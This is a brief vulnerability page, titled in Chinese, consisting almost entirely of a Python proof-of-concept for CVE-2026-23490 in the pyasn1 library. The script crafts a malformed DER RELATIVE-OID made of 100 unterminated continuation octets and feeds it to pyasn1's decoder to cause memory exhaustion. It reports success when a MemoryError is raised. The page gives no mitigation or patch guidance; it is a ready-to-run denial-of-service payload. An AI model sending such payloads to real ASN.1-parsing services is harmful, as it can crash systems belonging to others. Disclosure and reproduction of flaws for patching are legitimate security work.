CVE-2026-23490: pyasn1库RELATIVE-OID拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2026-23490 PoC - pyasn1 RELATIVE-OID Memory Exhaustion This PoC demonstrates memory exhaustion via malformed RELATIVE-OID with excessive continuation octets. """ from pyasn1.codec.der import decoder import os def generate_malformed_relative_oid(): """ Generate a malformed RELATIVE-OID with excessive continuation octets. RELATIVE-OID encoding: each octet uses 7 bits for data, MSB as continuation flag. """ # Tag for RELATIVE-OID tag = b'\x0d' # Length (we'll construct a long encoding) # Create a number encoded with excessive continuation octets # Normal: small number uses 1-2 octets # Malicious: use many continuation octets for a single number malicious_data = b'\x80' * 100 # 100 continuation octets, all 1s, no terminating octet return tag + bytes([len(malicious_data)]) + malicious_data def trigger_vulnerability(): """ Trigger the memory exhaustion vulnerability in pyasn1. """ print("[*] Generating malformed RELATIVE-OID...") malformed_oid = generate_malformed_relative_oid() print(f"[*] Malformed data length: {len(malformed_oid)} bytes") print("[*] Attempting to decode malformed RELATIVE-OID...") try: # This will trigger excessive memory allocation result, remainder = decoder.decode(malformed_oid) print(f"[!] Unexpected success: {result}") except MemoryError: print("[!] MemoryError triggered - vulnerability confirmed") except Exception as e: print(f"[*] Exception occurred: {type(e).__name__}: {e}") if __name__ == "__main__": print("CVE-2026-23490 PoC - pyasn1 RELATIVE-OID DoS") print("=" * 50) trigger_vulnerability()